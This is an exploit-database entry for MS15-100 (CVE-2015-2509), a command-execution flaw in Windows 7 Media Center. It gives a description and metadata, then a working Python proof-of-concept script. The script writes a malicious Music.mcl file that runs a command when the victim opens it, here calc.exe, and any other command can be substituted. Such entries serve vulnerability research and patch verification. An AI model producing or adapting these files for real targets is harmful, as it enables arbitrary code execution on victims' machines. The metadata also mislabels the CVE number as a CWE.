MS15-100 Windows Media Center Command Execution

vendor:

Windows Media Center

by:

R-73eN

9,3

CVSS

HIGH

Command Execution

CWE

Product Name: Windows Media Center

Affected Version From: Windows 7 Ultimate

Affected Version To: Windows 7 Ultimate

Patch Exists: YES

Related CWE: 2015-2509

CPE: o:microsoft:windows_7

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows 7 Ultimate

2015

MS15-100 Windows Media Center Command Execution

MS15-100 is a vulnerability in Windows Media Center which allows an attacker to execute arbitrary commands on the target system. The vulnerability is caused due to the application not properly validating user-supplied input. An attacker can exploit this vulnerability by crafting a malicious Music.mcl file and sending it to the target user. When the target user opens the malicious Music.mcl file, the attacker's arbitrary command will be executed on the target system.

Mitigation:

Microsoft has released a patch to address this vulnerability.

Source

Exploit-DB raw data:

# Title: MS15-100 Windows Media Center Command Execution
# Date : 11/09/2015
# Author: R-73eN
# Software: Windows Media Center
# Tested : Windows 7 Ultimate
# CVE : 2015-2509


banner = ""
banner += " ___        __        ____                 _    _  \n" 
banner +=" |_ _|_ __  / _| ___  / ___| ___ _ __      / \  | |    \n"
banner +="  | || '_ \| |_ / _ \| |  _ / _ \ '_ \    / _ \ | |    \n"
banner +="  | || | | |  _| (_) | |_| |  __/ | | |  / ___ \| |___ \n"
banner +=" |___|_| |_|_|  \___/ \____|\___|_| |_| /_/   \_\_____|\n\n"
print banner

command = "calc.exe"
evil = '<application run="' + command + '"/>'
f = open("Music.mcl","w")
f.write(evil)
f.close()
print "\n[+] Music.mcl generated . . . [+]"